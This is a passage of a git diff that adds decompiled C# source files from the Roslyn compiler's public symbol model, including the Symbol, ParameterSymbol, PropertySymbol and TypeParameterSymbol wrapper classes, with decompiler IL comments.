NamespaceSymbol : NamespaceOrTypeSymbol, INamespaceSymbol, INamespaceOrTypeSymbol, ISymbol, IEquatable +{ + private readonly Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceSymbol _underlying; + + internal override Microsoft.CodeAnalysis.CSharp.Symbol UnderlyingSymbol => _underlying; + + internal override Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceOrTypeSymbol UnderlyingNamespaceOrTypeSymbol => _underlying; + + internal Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceSymbol UnderlyingNamespaceSymbol => _underlying; + + bool INamespaceSymbol.IsGlobalNamespace => _underlying.IsGlobalNamespace; + + NamespaceKind INamespaceSymbol.NamespaceKind => _underlying.NamespaceKind; + + Compilation INamespaceSymbol.ContainingCompilation => (Compilation)(object)_underlying.ContainingCompilation; + + ImmutableArray INamespaceSymbol.ConstituentNamespaces => _underlying.ConstituentNamespaces.GetPublicSymbols(); + + public NamespaceSymbol(Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceSymbol underlying) + { + _underlying = underlying; + } + + IEnumerable INamespaceSymbol.GetMembers() + { + ImmutableArray.Enumerator enumerator = _underlying.GetMembers().GetEnumerator(); + while (enumerator.MoveNext()) + { + Microsoft.CodeAnalysis.CSharp.Symbol current = enumerator.Current; + yield return ((Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceOrTypeSymbol)current).GetPublicSymbol(); + } + } + + IEnumerable INamespaceSymbol.GetMembers(string name) + { + ImmutableArray.Enumerator enumerator = _underlying.GetMembers(name).GetEnumerator(); + while (enumerator.MoveNext()) + { + Microsoft.CodeAnalysis.CSharp.Symbol current = enumerator.Current; + yield return ((Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceOrTypeSymbol)current).GetPublicSymbol(); + } + } + + IEnumerable INamespaceSymbol.GetNamespaceMembers() + { + foreach (Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceSymbol namespaceMember in _underlying.GetNamespaceMembers()) + { + yield return namespaceMember.GetPublicSymbol(); + } + } + + protected override void Accept(SymbolVisitor visitor) + { + visitor.VisitNamespace((INamespaceSymbol)(object)this); + } + + protected override TResult Accept(SymbolVisitor visitor) + { + return visitor.VisitNamespace((INamespaceSymbol)(object)this); + } + + protected override TResult Accept(SymbolVisitor visitor, TArgument argument) + { + return visitor.VisitNamespace((INamespaceSymbol)(object)this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/NonErrorNamedTypeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/NonErrorNamedTypeSymbol.cs new file mode 100644 index 0000000..1678279 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/NonErrorNamedTypeSymbol.cs @@ -0,0 +1,27 @@ +namespace Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; + +internal sealed class NonErrorNamedTypeSymbol : NamedTypeSymbol +{ + private readonly Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol _underlying; + + internal override Microsoft.CodeAnalysis.CSharp.Symbol UnderlyingSymbol => _underlying; + + internal override Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceOrTypeSymbol UnderlyingNamespaceOrTypeSymbol => _underlying; + + internal override Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol UnderlyingTypeSymbol => _underlying; + + internal override Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol UnderlyingNamedTypeSymbol => _underlying; + + public NonErrorNamedTypeSymbol(Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol underlying, NullableAnnotation nullableAnnotation) + : base(nullableAnnotation) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + _underlying = underlying; + } + + protected override ITypeSymbol WithNullableAnnotation(NullableAnnotation nullableAnnotation) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return (ITypeSymbol)(object)new NonErrorNamedTypeSymbol(_underlying, nullableAnnotation); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/NonSourceAssemblySymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/NonSourceAssemblySymbol.cs new file mode 100644 index 0000000..c33570d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/NonSourceAssemblySymbol.cs @@ -0,0 +1,15 @@ +namespace Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; + +internal sealed class NonSourceAssemblySymbol : AssemblySymbol +{ + private readonly Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol _underlying; + + internal override Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol UnderlyingAssemblySymbol => _underlying; + + internal override Microsoft.CodeAnalysis.CSharp.Symbol UnderlyingSymbol => _underlying; + + public NonSourceAssemblySymbol(Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol underlying) + { + _underlying = underlying; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/ParameterSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/ParameterSymbol.cs new file mode 100644 index 0000000..b8baa2d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/ParameterSymbol.cs @@ -0,0 +1,72 @@ +using System; +using System.Collections.Immutable; +using System.Threading; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; + +internal sealed class ParameterSymbol : Symbol, IParameterSymbol, ISymbol, IEquatable +{ + private readonly Microsoft.CodeAnalysis.CSharp.Symbols.ParameterSymbol _underlying; + + private ITypeSymbol _lazyType; + + internal override Microsoft.CodeAnalysis.CSharp.Symbol UnderlyingSymbol => _underlying; + + ITypeSymbol IParameterSymbol.Type + { + get + { + if (_lazyType == null) + { + Interlocked.CompareExchange(ref _lazyType, _underlying.TypeWithAnnotations.GetPublicSymbol(), null); + } + return _lazyType; + } + } + + NullableAnnotation IParameterSymbol.NullableAnnotation => _underlying.TypeWithAnnotations.ToPublicAnnotation(); + + ImmutableArray IParameterSymbol.CustomModifiers => _underlying.TypeWithAnnotations.CustomModifiers; + + ImmutableArray IParameterSymbol.RefCustomModifiers => _underlying.RefCustomModifiers; + + IParameterSymbol IParameterSymbol.OriginalDefinition => _underlying.OriginalDefinition.GetPublicSymbol(); + + RefKind IParameterSymbol.RefKind => _underlying.RefKind; + + ScopedKind IParameterSymbol.ScopedKind => _underlying.EffectiveScope; + + bool IParameterSymbol.IsDiscard => _underlying.IsDiscard; + + bool IParameterSymbol.IsParams => _underlying.IsParams; + + bool IParameterSymbol.IsOptional => _underlying.IsOptional; + + bool IParameterSymbol.IsThis => _underlying.IsThis; + + int IParameterSymbol.Ordinal => _underlying.Ordinal; + + bool IParameterSymbol.HasExplicitDefaultValue => _underlying.HasExplicitDefaultValue; + + object IParameterSymbol.ExplicitDefaultValue => _underlying.ExplicitDefaultValue; + + public ParameterSymbol(Microsoft.CodeAnalysis.CSharp.Symbols.ParameterSymbol underlying) + { + _underlying = underlying; + } + + protected override void Accept(SymbolVisitor visitor) + { + visitor.VisitParameter((IParameterSymbol)(object)this); + } + + protected override TResult Accept(SymbolVisitor visitor) + { + return visitor.VisitParameter((IParameterSymbol)(object)this); + } + + protected override TResult Accept(SymbolVisitor visitor, TArgument argument) + { + return visitor.VisitParameter((IParameterSymbol)(object)this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/PointerTypeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/PointerTypeSymbol.cs new file mode 100644 index 0000000..32a09b7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/PointerTypeSymbol.cs @@ -0,0 +1,60 @@ +using System; +using System.Collections.Immutable; +using System.Threading; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; + +internal sealed class PointerTypeSymbol : TypeSymbol, IPointerTypeSymbol, ITypeSymbol, INamespaceOrTypeSymbol, ISymbol, IEquatable +{ + private readonly Microsoft.CodeAnalysis.CSharp.Symbols.PointerTypeSymbol _underlying; + + private ITypeSymbol? _lazyPointedAtType; + + internal override Microsoft.CodeAnalysis.CSharp.Symbol UnderlyingSymbol => _underlying; + + internal override Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceOrTypeSymbol UnderlyingNamespaceOrTypeSymbol => _underlying; + + internal override Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol UnderlyingTypeSymbol => _underlying; + + ITypeSymbol IPointerTypeSymbol.PointedAtType + { + get + { + if (_lazyPointedAtType == null) + { + Interlocked.CompareExchange(ref _lazyPointedAtType, _underlying.PointedAtTypeWithAnnotations.GetPublicSymbol(), null); + } + return _lazyPointedAtType; + } + } + + ImmutableArray IPointerTypeSymbol.CustomModifiers => _underlying.PointedAtTypeWithAnnotations.CustomModifiers; + + public PointerTypeSymbol(Microsoft.CodeAnalysis.CSharp.Symbols.PointerTypeSymbol underlying, NullableAnnotation nullableAnnotation) + : base(nullableAnnotation) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + _underlying = underlying; + } + + protected override ITypeSymbol WithNullableAnnotation(NullableAnnotation nullableAnnotation) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return (ITypeSymbol)(object)new PointerTypeSymbol(_underlying, nullableAnnotation); + } + + protected override void Accept(SymbolVisitor visitor) + { + visitor.VisitPointerType((IPointerTypeSymbol)(object)this); + } + + protected override TResult? Accept(SymbolVisitor visitor) + { + return visitor.VisitPointerType((IPointerTypeSymbol)(object)this); + } + + protected override TResult Accept(SymbolVisitor visitor, TArgument argument) + { + return visitor.VisitPointerType((IPointerTypeSymbol)(object)this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/PreprocessingSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/PreprocessingSymbol.cs new file mode 100644 index 0000000..52719a1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/PreprocessingSymbol.cs @@ -0,0 +1,161 @@ +using System; +using System.Collections.Immutable; +using System.Globalization; +using System.Threading; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; + +internal sealed class PreprocessingSymbol : IPreprocessingSymbol, ISymbol, IEquatable +{ + private readonly string _name; + + ISymbol ISymbol.OriginalDefinition => (ISymbol)(object)this; + + ISymbol? ISymbol.ContainingSymbol => null; + + INamedTypeSymbol? ISymbol.ContainingType => null; + + ImmutableArray ISymbol.Locations => ImmutableArray.Empty; + + ImmutableArray ISymbol.DeclaringSyntaxReferences => ImmutableArray.Empty; + + Accessibility ISymbol.DeclaredAccessibility => (Accessibility)0; + + SymbolKind ISymbol.Kind => (SymbolKind)18; + + string ISymbol.Language => "C#"; + + string ISymbol.Name => _name; + + string ISymbol.MetadataName => _name; + + int ISymbol.MetadataToken => 0; + + IAssemblySymbol? ISymbol.ContainingAssembly => null; + + IModuleSymbol? ISymbol.ContainingModule => null; + + INamespaceSymbol? ISymbol.ContainingNamespace => null; + + bool ISymbol.IsDefinition => true; + + bool ISymbol.IsStatic => false; + + bool ISymbol.IsVirtual => false; + + bool ISymbol.IsOverride => false; + + bool ISymbol.IsAbstract => false; + + bool ISymbol.IsSealed => false; + + bool ISymbol.IsExtern => false; + + bool ISymbol.IsImplicitlyDeclared => false; + + bool ISymbol.CanBeReferencedByName + { + get + { + if (SyntaxFacts.IsValidIdentifier(_name)) + { + return !SyntaxFacts.ContainsDroppedIdentifierCharacters(_name); + } + return false; + } + } + + bool ISymbol.HasUnsupportedMetadata => false; + + internal PreprocessingSymbol(string name) + { + _name = name; + } + + public sealed override int GetHashCode() + { + return _name.GetHashCode(); + } + + public override bool Equals(object? obj) + { + if (this == obj) + { + return true; + } + if (obj == null) + { + return false; + } + if (obj is PreprocessingSymbol preprocessingSymbol) + { + return _name.Equals(preprocessingSymbol._name); + } + return false; + } + + bool IEquatable.Equals(ISymbol? other) + { + return Equals(other); + } + + bool ISymbol.Equals(ISymbol? other, SymbolEqualityComparer equalityComparer) + { + return Equals(other); + } + + ImmutableArray ISymbol.GetAttributes() + { + return ImmutableArray.Empty; + } + + void ISymbol.Accept(SymbolVisitor visitor) + { + throw new NotSupportedException(); + } + + TResult ISymbol.Accept(SymbolVisitor visitor) + { + throw new NotSupportedException(); + } + + TResult ISymbol.Accept(SymbolVisitor visitor, TArgument argument) + { + throw new NotSupportedException(); + } + + string? ISymbol.GetDocumentationCommentId() + { + return null; + } + + string? ISymbol.GetDocumentationCommentXml(CultureInfo? preferredCulture, bool expandIncludes, CancellationToken cancellationToken) + { + return null; + } + + string ISymbol.ToDisplayString(SymbolDisplayFormat? format) + { + return SymbolDisplay.ToDisplayString((ISymbol)(object)this, format); + } + + ImmutableArray ISymbol.ToDisplayParts(SymbolDisplayFormat? format) + { + return SymbolDisplay.ToDisplayParts((ISymbol)(object)this, format); + } + + string ISymbol.ToMinimalDisplayString(SemanticModel semanticModel, int position, SymbolDisplayFormat? format) + { + return SymbolDisplay.ToMinimalDisplayString((ISymbol)(object)this, (SemanticModel)(object)Symbol.GetCSharpSemanticModel(semanticModel), position, format); + } + + ImmutableArray ISymbol.ToMinimalDisplayParts(SemanticModel semanticModel, int position, SymbolDisplayFormat? format) + { + return SymbolDisplay.ToMinimalDisplayParts((ISymbol)(object)this, (SemanticModel)(object)Symbol.GetCSharpSemanticModel(semanticModel), position, format); + } + + public sealed override string ToString() + { + return SymbolDisplay.ToDisplayString((ISymbol)(object)this); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/PropertySymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/PropertySymbol.cs new file mode 100644 index 0000000..161a309 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/PropertySymbol.cs @@ -0,0 +1,80 @@ +using System; +using System.Collections.Immutable; +using System.Threading; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; + +internal sealed class PropertySymbol : Symbol, IPropertySymbol, ISymbol, IEquatable +{ + private readonly Microsoft.CodeAnalysis.CSharp.Symbols.PropertySymbol _underlying; + + private ITypeSymbol _lazyType; + + internal override Microsoft.CodeAnalysis.CSharp.Symbol UnderlyingSymbol => _underlying; + + bool IPropertySymbol.IsIndexer => _underlying.IsIndexer; + + ITypeSymbol IPropertySymbol.Type + { + get + { + if (_lazyType == null) + { + Interlocked.CompareExchange(ref _lazyType, _underlying.TypeWithAnnotations.GetPublicSymbol(), null); + } + return _lazyType; + } + } + + NullableAnnotation IPropertySymbol.NullableAnnotation => _underlying.TypeWithAnnotations.ToPublicAnnotation(); + + ImmutableArray IPropertySymbol.Parameters => _underlying.Parameters.GetPublicSymbols(); + + IMethodSymbol IPropertySymbol.GetMethod => _underlying.GetMethod.GetPublicSymbol(); + + IMethodSymbol IPropertySymbol.SetMethod => _underlying.SetMethod.GetPublicSymbol(); + + IPropertySymbol IPropertySymbol.OriginalDefinition => _underlying.OriginalDefinition.GetPublicSymbol(); + + IPropertySymbol IPropertySymbol.OverriddenProperty => _underlying.OverriddenProperty.GetPublicSymbol(); + + ImmutableArray IPropertySymbol.ExplicitInterfaceImplementations => _underlying.ExplicitInterfaceImplementations.GetPublicSymbols(); + + bool IPropertySymbol.IsReadOnly => _underlying.IsReadOnly; + + bool IPropertySymbol.IsWriteOnly => _underlying.IsWriteOnly; + + bool IPropertySymbol.IsWithEvents => false; + + bool IPropertySymbol.IsRequired => _underlying.IsRequired; + + ImmutableArray IPropertySymbol.TypeCustomModifiers => _underlying.TypeWithAnnotations.CustomModifiers; + + ImmutableArray IPropertySymbol.RefCustomModifiers => _underlying.RefCustomModifiers; + + bool IPropertySymbol.ReturnsByRef => _underlying.ReturnsByRef; + + bool IPropertySymbol.ReturnsByRefReadonly => _underlying.ReturnsByRefReadonly; + + RefKind IPropertySymbol.RefKind => _underlying.RefKind; + + public PropertySymbol(Microsoft.CodeAnalysis.CSharp.Symbols.PropertySymbol underlying) + { + _underlying = underlying; + } + + protected override void Accept(SymbolVisitor visitor) + { + visitor.VisitProperty((IPropertySymbol)(object)this); + } + + protected override TResult Accept(SymbolVisitor visitor) + { + return visitor.VisitProperty((IPropertySymbol)(object)this); + } + + protected override TResult Accept(SymbolVisitor visitor, TArgument argument) + { + return visitor.VisitProperty((IPropertySymbol)(object)this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/RangeVariableSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/RangeVariableSymbol.cs new file mode 100644 index 0000000..6bc703e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/RangeVariableSymbol.cs @@ -0,0 +1,30 @@ +using System; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; + +internal sealed class RangeVariableSymbol : Symbol, IRangeVariableSymbol, ISymbol, IEquatable +{ + private readonly Microsoft.CodeAnalysis.CSharp.Symbols.RangeVariableSymbol _underlying; + + internal override Microsoft.CodeAnalysis.CSharp.Symbol UnderlyingSymbol => _underlying; + + public RangeVariableSymbol(Microsoft.CodeAnalysis.CSharp.Symbols.RangeVariableSymbol underlying) + { + _underlying = underlying; + } + + protected override void Accept(SymbolVisitor visitor) + { + visitor.VisitRangeVariable((IRangeVariableSymbol)(object)this); + } + + protected override TResult Accept(SymbolVisitor visitor) + { + return visitor.VisitRangeVariable((IRangeVariableSymbol)(object)this); + } + + protected override TResult Accept(SymbolVisitor visitor, TArgument argument) + { + return visitor.VisitRangeVariable((IRangeVariableSymbol)(object)this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/SourceAssemblySymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/SourceAssemblySymbol.cs new file mode 100644 index 0000000..a1da801 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/SourceAssemblySymbol.cs @@ -0,0 +1,19 @@ +using System; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; + +internal sealed class SourceAssemblySymbol : AssemblySymbol, ISourceAssemblySymbol, IAssemblySymbol, ISymbol, IEquatable +{ + private readonly Microsoft.CodeAnalysis.CSharp.Symbols.SourceAssemblySymbol _underlying; + + internal override Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol UnderlyingAssemblySymbol => _underlying; + + internal override Microsoft.CodeAnalysis.CSharp.Symbol UnderlyingSymbol => _underlying; + + Compilation ISourceAssemblySymbol.Compilation => (Compilation)(object)_underlying.DeclaringCompilation; + + public SourceAssemblySymbol(Microsoft.CodeAnalysis.CSharp.Symbols.SourceAssemblySymbol underlying) + { + _underlying = underlying; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/Symbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/Symbol.cs new file mode 100644 index 0000000..89f3f69 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/Symbol.cs @@ -0,0 +1,190 @@ +using System; +using System.Collections.Immutable; +using System.Globalization; +using System.Threading; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; + +internal abstract class Symbol : ISymbol, IEquatable +{ + internal abstract Microsoft.CodeAnalysis.CSharp.Symbol UnderlyingSymbol { get; } + + ISymbol ISymbol.OriginalDefinition => UnderlyingSymbol.OriginalDefinition.GetPublicSymbol(); + + ISymbol ISymbol.ContainingSymbol => UnderlyingSymbol.ContainingSymbol.GetPublicSymbol(); + + INamedTypeSymbol ISymbol.ContainingType => UnderlyingSymbol.ContainingType.GetPublicSymbol(); + + ImmutableArray ISymbol.Locations => UnderlyingSymbol.Locations; + + ImmutableArray ISymbol.DeclaringSyntaxReferences => UnderlyingSymbol.DeclaringSyntaxReferences; + + Accessibility ISymbol.DeclaredAccessibility => UnderlyingSymbol.DeclaredAccessibility; + + SymbolKind ISymbol.Kind => UnderlyingSymbol.Kind; + + string ISymbol.Language => "C#"; + + string ISymbol.Name => UnderlyingSymbol.Name; + + string ISymbol.MetadataName => UnderlyingSymbol.MetadataName; + + int ISymbol.MetadataToken => UnderlyingSymbol.MetadataToken; + + IAssemblySymbol ISymbol.ContainingAssembly => UnderlyingSymbol.ContainingAssembly.GetPublicSymbol(); + + IModuleSymbol ISymbol.ContainingModule => UnderlyingSymbol.ContainingModule.GetPublicSymbol(); + + INamespaceSymbol ISymbol.ContainingNamespace => UnderlyingSymbol.ContainingNamespace.GetPublicSymbol(); + + bool ISymbol.IsDefinition => UnderlyingSymbol.IsDefinition; + + bool ISymbol.IsStatic => UnderlyingSymbol.IsStatic; + + bool ISymbol.IsVirtual => UnderlyingSymbol.IsVirtual; + + bool ISymbol.IsOverride => UnderlyingSymbol.IsOverride; + + bool ISymbol.IsAbstract => UnderlyingSymbol.IsAbstract; + + bool ISymbol.IsSealed => UnderlyingSymbol.IsSealed; + + bool ISymbol.IsExtern => UnderlyingSymbol.IsExtern; + + bool ISymbol.IsImplicitlyDeclared => UnderlyingSymbol.IsImplicitlyDeclared; + + bool ISymbol.CanBeReferencedByName => UnderlyingSymbol.CanBeReferencedByName; + + bool ISymbol.HasUnsupportedMetadata => UnderlyingSymbol.HasUnsupportedMetadata; + + protected static ImmutableArray ConstructTypeArguments(ITypeSymbol[] typeArguments) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(typeArguments.Length); + foreach (ITypeSymbol val in typeArguments) + { + Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol typeSymbol = val.EnsureCSharpSymbolOrNull("typeArguments"); + instance.Add(TypeWithAnnotations.Create(typeSymbol, (val != null) ? val.NullableAnnotation.ToInternalAnnotation() : NullableAnnotation.NotAnnotated)); + } + return instance.ToImmutableAndFree(); + } + + protected static ImmutableArray ConstructTypeArguments(ImmutableArray typeArguments, ImmutableArray typeArgumentNullableAnnotations) + { + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + if (typeArguments.IsDefault) + { + throw new ArgumentException("typeArguments"); + } + int length = typeArguments.Length; + if (!typeArgumentNullableAnnotations.IsDefault && typeArgumentNullableAnnotations.Length != length) + { + throw new ArgumentException("typeArgumentNullableAnnotations"); + } + ArrayBuilder instance = ArrayBuilder.GetInstance(length); + for (int i = 0; i < length; i++) + { + Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol typeSymbol = typeArguments[i].EnsureCSharpSymbolOrNull("typeArguments"); + NullableAnnotation nullableAnnotation = (typeArgumentNullableAnnotations.IsDefault ? NullableAnnotation.Oblivious : typeArgumentNullableAnnotations[i].ToInternalAnnotation()); + instance.Add(TypeWithAnnotations.Create(typeSymbol, nullableAnnotation)); + } + return instance.ToImmutableAndFree(); + } + + public sealed override int GetHashCode() + { + return UnderlyingSymbol.GetHashCode(); + } + + public sealed override bool Equals(object obj) + { + return Equals(obj as Symbol, SymbolEqualityComparer.Default); + } + + bool IEquatable.Equals(ISymbol other) + { + return Equals(other as Symbol, SymbolEqualityComparer.Default); + } + + bool ISymbol.Equals(ISymbol other, SymbolEqualityComparer equalityComparer) + { + return Equals(other as Symbol, equalityComparer); + } + + protected bool Equals(Symbol other, SymbolEqualityComparer equalityComparer) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (other != null) + { + return UnderlyingSymbol.Equals(other.UnderlyingSymbol, equalityComparer.CompareKind); + } + return false; + } + + ImmutableArray ISymbol.GetAttributes() + { + return StaticCast.From(UnderlyingSymbol.GetAttributes()); + } + + void ISymbol.Accept(SymbolVisitor visitor) + { + Accept(visitor); + } + + protected abstract void Accept(SymbolVisitor visitor); + + TResult ISymbol.Accept(SymbolVisitor visitor) + { + return Accept(visitor); + } + + protected abstract TResult Accept(SymbolVisitor visitor); + + TResult ISymbol.Accept(SymbolVisitor visitor, TArgument argument) + { + return Accept(visitor, argument); + } + + protected abstract TResult Accept(SymbolVisitor visitor, TArgument argument); + + string ISymbol.GetDocumentationCommentId() + { + return UnderlyingSymbol.GetDocumentationCommentId(); + } + + string ISymbol.GetDocumentationCommentXml(CultureInfo preferredCulture, bool expandIncludes, CancellationToken cancellationToken) + { + return UnderlyingSymbol.GetDocumentationCommentXml(preferredCulture, expandIncludes, cancellationToken); + } + + string ISymbol.ToDisplayString(SymbolDisplayFormat format) + { + return SymbolDisplay.ToDisplayString((ISymbol)(object)this, format); + } + + ImmutableArray ISymbol.ToDisplayParts(SymbolDisplayFormat format) + { + return SymbolDisplay.ToDisplayParts((ISymbol)(object)this, format); + } + + string ISymbol.ToMinimalDisplayString(SemanticModel semanticModel, int position, SymbolDisplayFormat format) + { + return SymbolDisplay.ToMinimalDisplayString((ISymbol)(object)this, (SemanticModel)(object)GetCSharpSemanticModel(semanticModel), position, format); + } + + ImmutableArray ISymbol.ToMinimalDisplayParts(SemanticModel semanticModel, int position, SymbolDisplayFormat format) + { + return SymbolDisplay.ToMinimalDisplayParts((ISymbol)(object)this, (SemanticModel)(object)GetCSharpSemanticModel(semanticModel), position, format); + } + + internal static CSharpSemanticModel GetCSharpSemanticModel(SemanticModel semanticModel) + { + return (semanticModel as CSharpSemanticModel) ?? throw new ArgumentException(CSharpResources.WrongSemanticModelType, "C#"); + } + + public sealed override string ToString() + { + return SymbolDisplay.ToDisplayString((ISymbol)(object)this); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/TypeParameterSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/TypeParameterSymbol.cs new file mode 100644 index 0000000..d9191e5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel/TypeParameterSymbol.cs @@ -0,0 +1,99 @@ +using System; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; + +internal sealed class TypeParameterSymbol : TypeSymbol, ITypeParameterSymbol, ITypeSymbol, INamespaceOrTypeSymbol, ISymbol, IEquatable +{ + private readonly Microsoft.CodeAnalysis.CSharp.Symbols.TypeParameterSymbol _underlying; + + internal override Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol UnderlyingTypeSymbol => _underlying; + + internal override Microsoft.CodeAnalysis.CSharp.Symbol UnderlyingSymbol => _underlying; + + internal override Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceOrTypeSymbol UnderlyingNamespaceOrTypeSymbol => _underlying; + + internal Microsoft.CodeAnalysis.CSharp.Symbols.TypeParameterSymbol UnderlyingTypeParameterSymbol => _underlying; + + NullableAnnotation ITypeParameterSymbol.ReferenceTypeConstraintNullableAnnotation + { + get + { + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + bool? referenceTypeConstraintIsNullable = _underlying.ReferenceTypeConstraintIsNullable; + if (referenceTypeConstraintIsNullable.HasValue) + { + if (referenceTypeConstraintIsNullable != true) + { + if (!_underlying.HasReferenceTypeConstraint) + { + return (NullableAnnotation)0; + } + return (NullableAnnotation)1; + } + return (NullableAnnotation)2; + } + return (NullableAnnotation)0; + } + } + + TypeParameterKind ITypeParameterSymbol.TypeParameterKind => _underlying.TypeParameterKind; + + IMethodSymbol ITypeParameterSymbol.DeclaringMethod => _underlying.DeclaringMethod.GetPublicSymbol(); + + INamedTypeSymbol ITypeParameterSymbol.DeclaringType => _underlying.DeclaringType.GetPublicSymbol(); + + ImmutableArray ITypeParameterSymbol.ConstraintTypes => _underlying.ConstraintTypesNoUseSiteDiagnostics.GetPublicSymbols(); + + ImmutableArray ITypeParameterSymbol.ConstraintNullableAnnotations => _underlying.ConstraintTypesNoUseSiteDiagnostics.ToPublicAnnotations(); + + ITypeParameterSymbol ITypeParameterSymbol.OriginalDefinition => _underlying.OriginalDefinition.GetPublicSymbol(); + + ITypeParameterSymbol ITypeParameterSymbol.ReducedFrom => 